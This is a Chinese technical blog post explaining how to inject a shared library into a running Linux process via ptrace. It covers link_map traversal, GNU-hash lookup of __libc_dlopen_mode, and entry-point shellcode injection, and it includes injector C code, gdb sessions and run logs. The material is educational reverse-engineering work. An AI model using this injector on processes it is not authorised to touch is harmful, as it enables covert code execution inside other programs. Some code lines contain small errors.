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前言

在学习 hook 过程中, 有一个种方法是 PLT 注入, PLT 注入前的必要工作是需恶意的 so 注入, 找了很多关于注入的资料发现绝大部分实现都已经不适用, 几个方面因素, 一部分是因为 ELF 文件结构变化, 一部分是因为 glibc 调用的函数改变, 另外有很多是由于注入位置不对导致不够通用, 下面会详细介绍几种情况.

so 注入是对学习 ELF 结构极好的实践.

本文中大部分 refs 和 一起文档参考都在仓库 pwn2exploit.

参考链接

ELF基础

#包含新的.gnu.hash, 新的hash算法以及新的符号地址计算方法
ELF文件知识
#大部分ELF相关参考文档都在 `refs/elf` 有包含, 比较多所以这里不重述, 只提几个极为重要的参考文档
#ELF标准文档, 不包含 `.gnu.hash` 相关知识
https://refspecs.linuxbase.org/elf/elf.pdf
#详细解释.gnu.hash 相关知识
https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections
#__kernel_vsyscall 介绍(这个在后面的代码注入覆盖了系统调用, 会有一个坑)
http://www.trilithium.com/johan/2005/08/linux-gate/
#内核 hash 和 bucket 相关概念
http://www.nowamagic.net/academy/detail/3008086

GDB/*技巧

#查看哪里触发的 __kernel_vsyscall 系统函数调用(其中的2个地址为 __kernel_vsyscall 区间)
watch ($eip > 0xb770c418) && ($eip < 0xb770c42b)
#必备插件
peda
#查看系统arch相关常量
echo | gcc -E -dM - | grep 64
#查看ld详细信息
ld --verbose

注入实例

#旧注入实例, 但是具有参考价值.
http://phrack.org/issues/59/8.html#article(国内很多文章都是参考这篇)
http://www.cnblogs.com/LittleHann/p/4594641.html(针对phrack的翻译)
http://grip2.blogspot.jp/2006/12/blog-post.html(针对phrack的翻译)

#可用注入实例, 但注入方法有限制, 并且注入位置不对只能在特定情况进行注入
https://github.com/gaffe23/linux-inject

#没有采用代码注入, 采用的是修改寄存器的eip到指定函数地址, 动态加载函数不再适用
http://www.xfocus.net/articles/200208/438.html

注入理论

其实本质就一句话, "调用dlopen加载外部so文件", 或者说就一句代码 dlopen("evil.so",RTLD_LAZY);. 但是显然不可能对正在执行的程序执行 dlopen 操作, 所以:

问题1:如何能够接触到正在执行进程的内存空间.

通过 ptrace, ptrace 可以让目标 pid 进程成为当前进程的子进程, 进而可以访问目标进程的内存空间, 寄存器, 并且可以向目标内存空间写内容. 需要了解 ptrace 函数的几个关键宏.

参考链接 https://linux.die.net/man/2/ptrace
PTRACE_ATTACH 挂载目标pid
PTRACE_CONT 让子程序继续运行
PTRACE_PEEKTEXT 读取内容
PTRACE_POKETEXT 写入内容

ok, 现在既然已经可以读写目标进程的内存空间了, 下一步已经就是在目标内存空间调用 dlopen.既然要调用 dlopen, 肯定需要 dlopen 函数符号的地址. 但是默认 libc-2.19.so 是不包含 dlopen, 只有 __libc_dlopen_mode.

➜  elf readelf --dyn-syms /lib/i386-linux-gnu/libdl.so.2 | grep dlopen
    29: 00000d30   101 FUNC    GLOBAL DEFAULT   13 dlopen@@GLIBC_2.1
    30: 00001900   108 FUNC    GLOBAL DEFAULT   13 dlopen@GLIBC_2.0
➜  elf readelf --dyn-syms /lib/i386-linux-gnu/libc-2.19.so | grep dlopen
  2294: 00123ae0    91 FUNC    GLOBAL DEFAULT   12 __libc_dlopen_mode@@GLIBC_PRIVATE

这两个函数实现的是一样的效果, 其最终都是调用的 _dl_open, 可以通过 glic 源码查看相关调用过程, 因此可以通过 void * __libc_dlopen_mode (const char *name, int mode) 加载外部so. 所以现在现在的问题是:

问题2: __libc_dlopen_mode 的内存地址是多少(如何查找)

有一种方法是, 通过查看 cat /proc/1234/maps 的加载地址, 加上函数符号在文件中的偏移来得到, 这里并不打算采用这种方法, 而是通过解析 ELF 文件结构得到 __libc_dlopen_mode 函数符号的地址. (这里需要比较多的 ELF 的文件结构的知识, 可以参考前面的<ELF文件知识>)

ok, 先介绍几个关于 ELF 的结构体, 这些结构体都在 eglibc-2.19/elf/elf.h 有相应的定义, 实在是不想贴所有结构体的定义, 但是如果不贴又对整个不太好理解.

//eglibc-2.19/elf/link.h

/* Structure describing a loaded shared object.  The `l_next' and `l_prev'
   members form a chain of all the shared objects loaded at startup.

   These data structures exist in space used by the run-time dynamic linker;
   modifying them may have disastrous results.  */

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */
    //共享库加载地址
    ElfW(Addr) l_addr;      /* Difference between the address in the ELF
                   file and the addresses in memory.  */
    //共享库名称, 绝对路径
    char *l_name;       /* Absolute file name object was found in.  */
    //动态链接section的地址
    ElfW(Dyn) *l_ld;        /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
  }

link_map 的作用就是记录程序加载的所有共享库的链表, 当需要查找符号时就需要遍历该链表找到对应的共享库.

//http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_19/libc/elf/elf.h?view=markup
//eglibc-2.19/elf/elf.h

ignore...

Elf32_EhdrELF 头, 注入需要使用 Elf32_Ehdr->e_phoff 取得正在执行进程的 Program header table.

这里需要注意的, ELF 文件是按照 Segment 加载到内存中, 只会加载 $ readelf -l test 中的对应 section, 而比如 section header table 是不会被加载的, 通过查看 section header table 并不在 $ readelf -l test 内存映射的区间之内验证, 所以是不能通过 section header table 对执行中的进程进行解析.

Elf32_PhdrELFSegment 对应结构, Segment 是相似属性的 section 集合, 仅是概念性的划分. 关于 segment 的内存页对齐等细节, 这里不进行详细介绍, 如有兴趣请参考 <程序员自我修养>. 注入需要使用 Elf32_Phdr->p_typeElf32_Phdr->p_vaddr, 判断并取得 Dynamic Segment.

Elf32_Dyn 是有关动态链接的 section 结构, 属于 Dynamic Segment, so 注入需要根据它取得所需要的 section.

Elf32_Sym 是符号表的结构体, 需要根据 Elf32_Sym->st_name 拿到该符号在 .dynstr 对应的位置.

ok, 到目前为止几个我们需要使用的结构体都大致简单介绍了下. 下面开始具体的符号的地址查找过程.

因为 __libc_dlopen_mode 是在 libc.so.6 动态库中, 所以需要先找到 libc.so.6, 在介绍 link_map 时说过, 它记录目标进程加载的所有的动态库, 所以只要遍历 link_map 就可以找到 libc.so.6. 所以现在的问题是:

问题3: 如何找到 link_map 地址

link_map 位于 .got.plt 表的第 2 位置(请查看关于 ELF 文件结构的知识), 而 .got.plt 表的地址位于 Elf32_Dyn->d_tag == DT_PLTGOTElf32_Dyn 中, ·而 Dynamic Segment 的地址位于 Elf32_Phdr->p_type == PT_DYNAMICElf32_Phdr 中, 而 Program header table 的地址位于 Elf32_Ehdr->e_phoff, 这样就可以逆转整个过程, 以取得 link_map 的地址.


struct link_map *
locate_linkmap(int pid)
{
    ElfW(Ehdr) ehdr;
    ElfW(Phdr) phdr;
    ElfW(Dyn) dyn;
	struct link_map *l = malloc(sizeof(struct link_map));
	ElfW(Addr) phdr_addr , dyn_addr , map_addr, gotplt_addr, text_addr;

	ptrace_read(pid, PROGRAM_LOAD_ADDRESS, &ehdr , sizeof(ElfW(Ehdr)));

	phdr_addr = PROGRAM_LOAD_ADDRESS + ehdr.e_phoff;

    ptrace_read(pid , phdr_addr, &phdr , sizeof(ElfW(Phdr)));

	while ( phdr.p_type != PT_DYNAMIC ) {
        ptrace_read(pid, phdr_addr += sizeof(ElfW(Phdr)), &phdr, sizeof(ElfW(Phdr)));
	}

	/* now go through dynamic section until we find address of GOT.PLT */
    ptrace_read(pid, phdr.p_vaddr, &dyn, sizeof(ElfW(Dyn)));

	dyn_addr = phdr.p_vaddr;

	while ( dyn.d_tag != DT_PLTGOT ) {
		ptrace_read(pid, dyn_addr += sizeof(ElfW(Dyn)), &dyn, sizeof(ElfW(Dyn)));
	}

    /* link_map address, .got.plt address */
	gotplt_addr = dyn.d_un.d_ptr;

	/* now just read first link_map item and return it */
	ptrace_read(pid, gotplt_addr + sizeof(ElfW(Addr)), &map_addr , sizeof(ElfW(Addr)));
	ptrace_read(pid , map_addr, l , sizeof(struct link_map));

	return l;
}

ok, 现在我们已经找到对应的动态库的 link_map, 现在我们就需要从 link_map, 找到 __libc_dlopen_mode 函数符号的地址, 所以现在的问题是:

问题4: 如何根据 符号名字符串link_map 找符号的内存地址

当然可以通过 $ readelf --dyn-syms /lib/i386-linux-gnu/libc-2.19.so | grep __libc_dlopen_mode 找到函数符号在文件中的偏移加上动态库的加载地址, 就可以得到该符号的在内存中的地址. 这种方式并不通用, 比如: so 文件丢失, 不存在 readelf 命令.

ok, 那么现在的方法就是遍历 .dynsym 表, 查找符号名称为 __libc_dlopen_modeElf32_Sym(其实是查找Elf32_Sym->st_name.dynstr 中的索引对应的字符串). ** 然而 .dynsym 的长度是多少, 或者说遍历停止的条件? **.如果要得到 .dynsym 的长度, 也只能读 so 文件, 根据一些没有加载到内存中的但是存在于文件中的内容解析, 比如: 根据 section header table 找到 .dynsymElf32_Shdr 结构, Elf32_Shdr->sh_size /Elf32_Shdr->sh_entsize 即为符号表的长度. 所以这种方法也不可行.

ok, 另一种方法就是根据 glibc 中的方法进行查找符号地址, 这里需要用 .gnu.hash 表, 同时在 glibc 中 利用 _dl_lookup_symbol_x -> do_lookup_x 进行函数符号的地址查找, 关于 .gnu.hash 的详细介绍, 请参考 https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections, 这里简单提一下, ELF 在加载动态库时并不是直接全部解析出所有符号的地址, 而是通过 PLT 延迟加载的方式, 在执行的过程中通过查找符号的地址, 这需要利用 .gnu.hash 进行 hash 算法快速查找. 建议先阅读参考文档中关于 .gnu.hash 的介绍, 以及了解关于如何利用 hash桶 的方法解决 hash 冲突.

下面是 glibc 在进行符号查找一段核心代码, 位于 eglibc-2.19/elf/dl-lookup.c 中的 do_lookup_x 函数中.

//http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_19/libc/elf/dl-lookup.c?view=markup
//eglibc-2.19/elf/dl-lookup.c

  const ElfW(Sym) *sym;
  const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
  if (__builtin_expect (bitmask != NULL, 1))
{
  ElfW(Addr) bitmask_word
    = bitmask[(new_hash / __ELF_NATIVE_CLASS)
          & map->l_gnu_bitmask_idxbits];

  unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
  unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)
               & (__ELF_NATIVE_CLASS - 1));

  if (__builtin_expect ((bitmask_word >> hashbit1)
            & (bitmask_word >> hashbit2) & 1, 0))
    {
      Elf32_Word bucket = map->l_gnu_buckets[new_hash
                         % map->l_nbuckets];
      if (bucket != 0)
    {
      const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];

      do
        if (((*hasharr ^ new_hash) >> 1) == 0)
          {
        symidx = hasharr - map->l_gnu_chain_zero;
        sym = check_match (&symtab[symidx]);
        if (sym != NULL)
          goto found_it;
          }
      while ((*hasharr++ & 1u) == 0);
    }
    }
  /* No symbol found.  */
  symidx = SHN_UNDEF;
}

这里有点坑, 就是此时 link_map 结构并非 #include <link.h> 中的结构, 在 eglibc-2.19/include/link.h 中有这么一段代码:

#define link_map    link_map_public
#define la_objopen  la_objopen_wrongproto
#include <elf/link.h>
#undef  link_map
#undef  la_objope

所以需要我们自己去构造这些结构体变量的成员, 构造的方法可以参考 eglibc-2.19/elf/dl-lookup.c_dl_setup_hash 函数. 这里附上一段代码作为参考


void
internal_function
_dl_setup_hash (struct link_map *map)
{
  Elf_Symndx *hash;

  if (__builtin_expect (map->l_info[DT_ADDRTAGIDX (DT_GNU_HASH) + DT_NUM
                    + DT_THISPROCNUM + DT_VERSIONTAGNUM
                    + DT_EXTRANUM + DT_VALNUM] != NULL, 1))
    {
      Elf32_Word *hash32
    = (void *) D_PTR (map, l_info[DT_ADDRTAGIDX (DT_GNU_HASH) + DT_NUM
                      + DT_THISPROCNUM + DT_VERSIONTAGNUM
                      + DT_EXTRANUM + DT_VALNUM]);
      map->l_nbuckets = *hash32++;
      Elf32_Word symbias = *hash32++;
      Elf32_Word bitmask_nwords = *hash32++;
      /* Must be a power of two.  */
      /* Important!!! */
      assert ((bitmask_nwords & (bitmask_nwords - 1)) == 0);
      map->l_gnu_bitmask_idxbits = bitmask_nwords - 1;
      map->l_gnu_shift = *hash32++;

      map->l_gnu_bitmask = (ElfW(Addr) *) hash32;
      hash32 += __ELF_NATIVE_CLASS / 32 * bitmask_nwords;

      map->l_gnu_buckets = hash32;
      hash32 += map->l_nbuckets;
      map->l_gnu_chain_zero = hash32 - symbias;
      return;
    }

  if (!map->l_info[DT_HASH])
    return;
  hash = (void *) D_PTR (map, l_info[DT_HASH]);

  map->l_nbuckets = *hash++;
  /* Skip nchain.  */
  hash++;
  map->l_buckets = hash;
  hash += map->l_nbuckets;
  map->l_chain = hash;
}

这里算法不进行具体的解释, 可以参考下文的对应的实现, 这题提一下本来是参照 https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections 实现的符号查找算法, 但总感觉不太标准, 就又按照 glibc 实现了一遍, 本质大同小异, 会在代码中做一些对比说明.

这里另外提两点关于 glibc 中代码实现风格的, 1. 在 glibc 实现关于符号的符号查找的 hash 算法的过程中大量利用了 移位代替取模, 比如上面的 bitmask_nwords Must be a power of two. 这点在下文的具体算法的实现中会有体现. 2. 在 glibc 中大量使用宏来处理不同处理器的兼容性问题, 比如 ElfW(Addr), ElfW 的定义是:

// #include <bits/elfclass.h>
#define __ELF_NATIVE_CLASS 32

// #include <link.h>
#include <bits/elfclass.h>
#define ElfW(type)  _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t)    _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t)  e##w##t

__ELF_NATIVE_CLASS 定义当前机子的字长, 这样 ElfW(Addr) 就被解析为 Elf32_Addr 或者 Elf64_Addr, 最后根据 #include <elf.h> 定义的类型来做处理.

ok, 先放出来关于 setup_hash 的实现, 作用就是在解析 Dynamic Segment 的过程中顺便完善 link_map 结构, 方便下文的 hash 算法的使用.

void
setup_hash(int pid, struct link_map *map, struct link_map_more *map_more) {
    Elf32_Word *gnu_hash_header = (Elf32_Word *)malloc(sizeof(Elf32_Word) * 4);
    ptrace_read(pid, map_more->gnuhash_addr, gnu_hash_header, sizeof(Elf32_Word) * 4);

    // .gnu.hash
    map_more->nbuckets =gnu_hash_header[0];
    map_more->symndx = gnu_hash_header[1];
    map_more->nmaskwords = gnu_hash_header[2];
    map_more->shift2 = gnu_hash_header[3];
    map_more->bitmask_addr = map_more->gnuhash_addr + 4 * sizeof(Elf32_Word);
    map_more->hash_buckets_addr =  map_more->bitmask_addr + map_more->nmaskwords * sizeof(ElfW(Addr));
    map_more->hash_values_addr = map_more->hash_buckets_addr + map_more->nbuckets * sizeof(Elf32_Word);
}

这里根据 .gnu.hash 的结构进行解析, 应该没有什么问题.

ok, 再放出关于符号查找 hash 算法的具体, 这里整个的核心.


//eglibc-2.19/elf/dl-lookup.c
unsigned long
dl_new_hash (const char *s)
{
  unsigned long h = 5381;
  unsigned char c;
  for (c = *s; c != '\0'; c = *++s)
    h = h * 33 + c;
  return h & 0xffffffff;
}

/* seach symbol name in elf(so) */
ElfW(Sym) *
symhash(int pid, struct link_map_more *map_more, const char *symname)
{
	unsigned long c;
	Elf32_Word new_hash, h2;
	unsigned int  hb1, hb2;
	unsigned long n;
    Elf_Symndx symndx;
	ElfW(Addr) bitmask_word;
    ElfW(Addr) addr;
    ElfW(Addr) sym_addr;
    ElfW(Addr) hash_addr;
	char symstr[256];
	ElfW(Sym) * sym = malloc(sizeof(ElfW(Sym)));

	new_hash = dl_new_hash(symname);

	/* new-hash % __ELF_NATIVE_CLASS */
	hb1 = new_hash & (__ELF_NATIVE_CLASS - 1);
	hb2 = (new_hash >> map_more->shift2) & (__ELF_NATIVE_CLASS - 1);

	printf("[*] start gnu hash search:\n\tnew_hash: 0x%x(%u)\n", symname, new_hash, new_hash);

	/* ELFCLASS size */
    //__ELF_NATIVE_CLASS

	/*  nmaskwords must be power of 2, so that allows the modulo operation */
	/* ((new_hash / __ELF_NATIVE_CLASS) % maskwords) */
	n = (new_hash / __ELF_NATIVE_CLASS) & (map_more->nmaskwords - 1);
	printf("\tn: %lu\n", n);

    /* Use hash to quickly determine whether there is the symbol we need */
	addr = map_more->bitmask_addr + n * sizeof(ElfW(Addr));
	ptrace_read(pid, addr, &bitmask_word, sizeof(ElfW(Addr)));
    /* eglibc-2.19/elf/dl-loopup.c:236 */
    /* https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections */
    /* different method same result */
    if(((bitmask_word >> hb1) & (bitmask_word >> hb2) & 1) == 0)
		return NULL;

	/* The first index of `.dynsym` to the bucket .dynsym */
	addr = map_more->hash_buckets_addr + (new_hash % map_more->nbuckets) * sizeof(Elf_Symndx);
	ptrace_read(pid, addr, &symndx, sizeof(Elf_Symndx));
	printf("\thash buckets index: 0x%x(%u), first dynsym index: 0x%x(%u)\n", (new_hash % map_more->nbuckets), (new_hash % map_more->nbuckets), symndx, symndx);

	if(symndx == 0)
		return NULL;

	sym_addr = map_more->dynsym_addr + symndx * sizeof(ElfW(Sym));
	hash_addr = map_more->hash_values_addr + (symndx - map_more->symndx) * sizeof(Elf32_Word);

	printf("[*] start bucket search:\n");
    do
    {
		ptrace_read(pid, hash_addr, &h2, sizeof(Elf32_Word));
		printf("\th2: 0x%x(%u)\n", h2, h2);
        /* 1. hash value same */
        if(((h2 ^ new_hash) >> 1) == 0) {

			sym_addr = map_more->dynsym_addr + ((map_more->symndx + (hash_addr - map_more->hash_values_addr) / sizeof(Elf32_Word)) * sizeof(ElfW(Sym)));
            /* read ElfW(Sym) */
			ptrace_read(pid, sym_addr, sym, sizeof(ElfW(Sym)));
            addr = map_more->dynstr_addr + sym->st_name;
            /* read string */
            ptrace_read(pid, addr, symstr, sizeof(symstr));

            /* 2. name same */
            if(!strcmp(symname, symstr))
                return sym;
        }
		hash_addr += sizeof(sizeof(Elf32_Word));
	} while((h2 & 1u) == 0); // search in same bucket
    return NULL;
}

这里介绍下上面算法的流程

首先需要利用 bitmask 根据 Bloom Filter(布隆过滤器) 判断是否存在于符号表, 这里先放出 wiki 的参考链接 Bloom Filter, 这里简单介绍下 Bloom Filter, 它可以在常量时间内判断 hash_value 是否存在于 hash_values_buckets, 但是它是有误差的, 也就是说如果 Bloom Filter 判断出不存在就是一定不在, 但是如果判断存在则可能存在, 仅仅是可能存在, 原因就是因为 hash 冲突的存在, 具体参考下 Bloom Filter 的原理.

接下来就是根据该符号的 hash value, 确定该符号在哪一个 bucket, 找到该 bucket(桶) 内第一个符号结构, 之后便开始在桶内进行符号查找.

接下来就是桶内查找, 需要满足两个条件, 1. hash value 相同 2. 字符串相同.

剩下的大家可以通过阅读来具体理解下, 大部分我都加了注释.

ok, 到这一步, 就可以拿到 __libc_dlopen_mode 的地址了, 然后下一步的问题就是:

问题5: 如何调用 __libc_dlopen_mode?

大概有两种思路, 单纯依靠寄存器 eip 修改执行位置, 其他寄存器传参数, 这个方法在之前 _dl_open 是被定义为 internal_function, 也就是通过寄存器传参, 但是对于 __libc_dlopen_mode 已经不是寄存器传递参数. 另一个就是注入一段代码, 执行这段代码, 通过正常的函数调用方法调用 __libc_dlopen_mode, 执行完毕后恢复这段内存原始代码, 这里主要分析下第二种方法.

既然采用注入代码方法, 那么问题就来了, 代码应该注入到哪里? 可能首先想到的就是注入到当前 %eip 的位置, 因为毕竟运行后会恢复为原始内存, 但是有一个问题就是, 假如被覆盖的这块内存在执行的过程中需要被二次使用怎么办, 此时内存代码已经不是原来的代码, 并且还有没有被恢复? 这就是上面说的这种注入方法存在局限性.

这里先给大家放一段目前普遍采用的注入方式, 也就是注入到当前 %eip 的位置, 并为大家复现这个情况.

这里采用手动注入一段代码的方式, 用 gdb attach 该进程.

#include <stdio.h>
int main()
{
     char *evilso = "/vagrant/inject/evil.so";
     while(1)
     {
         printf("Going to sleep...\n");
         sleep(3);
         printf("Wake up\n");
     }
     return 0;
}

下面就是相关的分析过程,

# 当前gdb挂载点
gdb-peda$ disassemble
Dump of assembler code for function __kernel_vsyscall:
   0xb7700418 <+0>:     push   ecx
   0xb7700419 <+1>:     push   edx
   0xb770041a <+2>:     push   ebp
   0xb770041b <+3>:     mov    ebp,esp
   0xb770041d <+5>:     sysenter
   0xb770041f <+7>:     nop
   0xb7700420 <+8>:     nop
   0xb7700421 <+9>:     nop
   0xb7700422 <+10>:    nop
   0xb7700423 <+11>:    nop
   0xb7700424 <+12>:    nop
   0xb7700425 <+13>:    nop
   0xb7700426 <+14>:    int    0x80
=> 0xb7700428 <+16>:    pop    ebp
   0xb7700429 <+17>:    pop    edx
   0xb770042a <+18>:    pop    ecx
   0xb770042b <+19>:    ret
End of assembler dump.

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0804844d <+0>:     push   ebp
   0x0804844e <+1>:     mov    ebp,esp
   0x08048450 <+3>:     and    esp,0xfffffff0
   0x08048453 <+6>:     sub    esp,0x20
   0x08048456 <+9>:     mov    DWORD PTR [esp+0x1c],0x8048520
   0x0804845e <+17>:    mov    DWORD PTR [esp],0x8048538
   0x08048465 <+24>:    call   0x8048320 <puts@plt>
   0x0804846a <+29>:    mov    DWORD PTR [esp],0x3
   0x08048471 <+36>:    call   0x8048310 <sleep@plt>
   0x08048476 <+41>:    mov    DWORD PTR [esp],0x804854a
   0x0804847d <+48>:    call   0x8048320 <puts@plt>
   0x08048482 <+53>:    jmp    0x804845e <main+17>
End of assembler dump.

#找到需要加载的so的路径参数
gdb-peda$ x/s 0x8048520
0x8048520:      "/vagrant/inject/evil.so"

#找到__libc_dlopen_mode函数符号的地址
gdb-peda$ x/i __libc_dlopen_mode
0xb7675ae0 <__libc_dlopen_mode>:     push   esi

#手动代码注入后是下面的peda显示, 注意 `ebx`, 当前 `eip` 的内容, 栈的内容的变化.
 [----------------------------------registers-----------------------------------]
EAX: 0xfffffdfc
EBX: 0xb7675ae0 (<__libc_dlopen_mode>:  push   esi)
ECX: 0xbf81f9bc --> 0x2
EDX: 0xb76fd000 --> 0x1aada8
ESI: 0x0
EDI: 0xbf81fa44 --> 0x0
EBP: 0xbf81f9c4 --> 0x10000
ESP: 0xbf81f97c --> 0x8048520 ("/vagrant/inject/evil.so")
EIP: 0xb770b428 (<__kernel_vsyscall+16>:        call   ebx)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb770b424 <__kernel_vsyscall+12>:   nop
   0xb770b425 <__kernel_vsyscall+13>:   nop
   0xb770b426 <__kernel_vsyscall+14>:   int    0x80
=> 0xb770b428 <__kernel_vsyscall+16>:   call   ebx
   0xb770b42a <__kernel_vsyscall+18>:   add    BYTE PTR [eax],al
   0xb770b42c:  add    BYTE PTR [esi],ch
   0xb770b42e:  jae    0xb770b498
   0xb770b430:  jae    0xb770b4a6
Guessed arguments:
arg[0]: 0x8048520 ("/vagrant/inject/evil.so")
arg[1]: 0x1
[------------------------------------stack-------------------------------------]
0000| 0xbf81f97c --> 0x8048520 ("/vagrant/inject/evil.so")
0004| 0xbf81f980 --> 0x1
0008| 0xbf81f984 --> 0xbf81f9bc --> 0x2
0012| 0xbf81f988 --> 0xb7607b70 (<nanosleep+32>:        mov    ebx,edx)
0016| 0xbf81f98c --> 0xb760793d (<sleep+205>:   test   eax,eax)
0020| 0xbf81f990 --> 0xbf81f9bc --> 0x2
0024| 0xbf81f994 --> 0xbf81f9bc --> 0x2
0028| 0xbf81f998 --> 0x0
[------------------------------------------------------------------------------]

#这里我们再加一个watchpoint, 需要监视哪个函数再一次调用了 __kernel_vsyscall, 这段技巧在上面也提到过.
watch ($eip > 0xb7700418) && ($eip < 0xb770042b)

#继续执行 等待触发watchpoint, 查看调用栈, 发现
gdb-peda$ bt
#0  0xb7735418 in __kernel_vsyscall ()
#1  0xb765efde in brk () from /lib/i386-linux-gnu/libc.so.6
#2  0xb765f084 in sbrk () from /lib/i386-linux-gnu/libc.so.6
#3  0xb75f4ccf in __default_morecore () from /lib/i386-linux-gnu/libc.so.6
#4  0xb75f1352 in ?? () from /lib/i386-linux-gnu/libc.so.6
#5  0xb75f2888 in malloc () from /lib/i386-linux-gnu/libc.so.6
#6  0xb75f295f in malloc () from /lib/i386-linux-gnu/libc.so.6
#7  0xb773b026 in local_strdup (s=s@entry=0x8048520 "/vagrant/inject/evil.so")
    at dl-load.c:162
#8  0xb773d4d0 in expand_dynamic_string_token (l=l@entry=0xb7757c28,
    s=s@entry=0x8048520 "/vagrant/inject/evil.so", is_path=is_path@entry=0x0)
    at dl-load.c:429
#9  0xb773e0dc in _dl_map_object (loader=loader@entry=0xb7757c28,
    name=name@entry=0x8048520 "/vagrant/inject/evil.so", type=type@entry=0x2,
    trace_mode=trace_mode@entry=0x0, mode=mode@entry=0x10000001, nsid=0x0)
    at dl-load.c:2538
#10 0xb7748c14 in dl_open_worker (a=0xbfc39228) at dl-open.c:235
#11 0xb7744c06 in _dl_catch_error (objname=objname@entry=0xbfc39220,
    errstring=errstring@entry=0xbfc39224, mallocedp=mallocedp@entry=0xbfc3921f,
    operate=operate@entry=0xb7748b50 <dl_open_worker>, args=args@entry=0xbfc39228)
    at dl-error.c:187
#12 0xb7748644 in _dl_open (file=0x8048520 "/vagrant/inject/evil.so", mode=0x1,
    caller_dlopen=0xb773542a <__kernel_vsyscall+18>, nsid=<optimized out>,
    argc=0x1, argv=0xbfc396a4, env=0xbfc396ac) at dl-open.c:661
#13 0xb769f9ab in ?? () from /lib/i386-linux-gnu/libc.so.6
#14 0xb7744c06 in _dl_catch_error (objname=0xbfc39394, errstring=0xbfc39398,
    mallocedp=0xbfc39393, operate=0xb769f950, args=0xbfc393cc) at dl-error.c:187
#15 0xb769fa9b in ?? () from /lib/i386-linux-gnu/libc.so.6
#16 0xb769fb21 in __libc_dlopen_mode () from /lib/i386-linux-gnu/libc.so.6
#17 0xb773542a in __kernel_vsyscall ()
#18 0xbfc3942c in ?? ()
#19 0x00000000 in ?? ()

# 继续执行失败

ok, 这也就不难发现, 为什么说现在的绝大部分注入都是有限制的, 当我们在系统中断函数进行代码注入, 导致在 __libc_dlopen_mode 执行过程中需要调用 malloc (eglibc-2.19/elf/dl-lookup.clocal_strdup)进行堆空间分配, 但由于此时没有cache, 因而需要触发系统调用使用 brk 分配一块堆内存, 这一块具体查看linux内存分配相关的文章, <程序员的自我修养> 简单提到过一些关于 malloc 堆内存分配.

ok, 现在问题复现了, 需要采用其他方法进行注入, 这里采用的是将代码注入到程序入口点位置, 然后修改 %eip 为程序入口点位置, 这样就不会存在影响, 或者查找一块连续的 nop 内存块进行注入. 这里直接注入到程序入口点位置.


void
inject_code(int pid, char *evilso, ElfW(Addr) dlopen_addr) {
	struct	user_regs_struct regz, regzbak;
	unsigned long len;
	unsigned char *backup = NULL;
	unsigned char *loader = NULL;
	ElfW(Addr) entry_addr;

	setaddr(soloader + 12, dlopen_addr);

	entry_addr = locate_start(pid);
	printf("[+] entry point: 0x%x\n", entry_addr);

	len = sizeof(soloader) + strlen(evilso);
	loader = malloc(sizeof(char) * len);
	memcpy(loader, soloader, sizeof(soloader));
	memcpy(loader+sizeof(soloader) - 1 , evilso, strlen(evilso));

	backup = malloc(len + sizeof(ElfW(Word)));
	ptrace_read(pid, entry_addr, backup, len);

	if(ptrace(PTRACE_GETREGS , pid , NULL , &regz) < 0) exit(-1);
	if(ptrace(PTRACE_GETREGS , pid , NULL , &regzbak) < 0) exit(-1);
	printf("[+] stopped %d at eip:%p, esp:%p\n", pid, regz.eip, regz.esp);

	/* `eip` points to the next instruction, so current instruction is `entry_addr`  */
	regz.eip = entry_addr + 2;

	/* code inject */
	ptrace_write(pid, entry_addr, loader, len);

	/* set eip as entry_point */
	ptrace(PTRACE_SETREGS , pid , NULL , &regz);
	ptrace_cont(pid);

	if(ptrace(PTRACE_GETREGS , pid , NULL , &regz) < 0) exit(-1);
	printf("[+] inject code done %d at eip:%p\n", pid, regz.eip);

	/* restore backup data */
	// ptrace_write(pid,entry_addr, backup, len);
	ptrace(PTRACE_SETREGS , pid , NULL , &regzbak);
}

至此所有问题得到解答, so 注入完成, 程序已经上传到 github.

➜  inject gcc -w -o inject /vagrant/inject/inject.c /vagrant/inject/utils.c && sudo ./inject 24506 /vagrant/inject/evil.so
attached to pid 24506
[*] start search '__libc_dlopen_mode':
----------------------------------------------------------------
[+] libaray path: /lib/i386-linux-gnu/libc.so.6
[+] gnu.hash:
        nbuckets: 0x3f3
        symndx: 0xa
        nmaskwords: 0x200
        shift2: 0xe
        bitmask_addr: 0xb75281c8
        hash_buckets_addr: 0xb75289c8
        bitmask_addr: 0xb75281c8                                                                                                                                     [0/1762]
        hash_buckets_addr: 0xb75289c8
        hash_values_addr: 0xb7529994
[+] dynstr: 0xb7535474
[+] dynysm: 0xb752bed4
[+] soname: libc.so.6
[*] start gnu hash search:
        new_hash: 0x8049891(4073429154)
        n: 197
        hash buckets index: 0x3c6(966), first dynsym index: 0x8f5(2293)
[*] start bucket search:
        h2: 0xd5e07632(3588257330)
        h2: 0xf2cb98a2(4073429154)
----------------------------------------------------------------
[+] Found '__libc_dlopen_mode' at 0xb764bae0
[+] entry point: 0x8048350
[+] stopped 24506 at eip:0xb76e1428, esp:0xbfec2fec
[+] inject code done 24506 at eip:0x8048366
[*] start search 'evilfunc':
----------------------------------------------------------------
[+] libaray path: /vagrant/inject/evil.so
[+] gnu.hash:
        nbuckets: 0x3
        symndx: 0x7
        nmaskwords: 0x2
        shift2: 0x6
        bitmask_addr: 0xb76db148
        hash_buckets_addr: 0xb76db150
        hash_values_addr: 0xb76db15c
[+] dynstr: 0xb76db244
[+] dynysm: 0xb76db174
[*] start gnu hash search:
        new_hash: 0x80498ec(701380385)
        n: 1
        hash buckets index: 0x2(2), first dynsym index: 0xb(11)
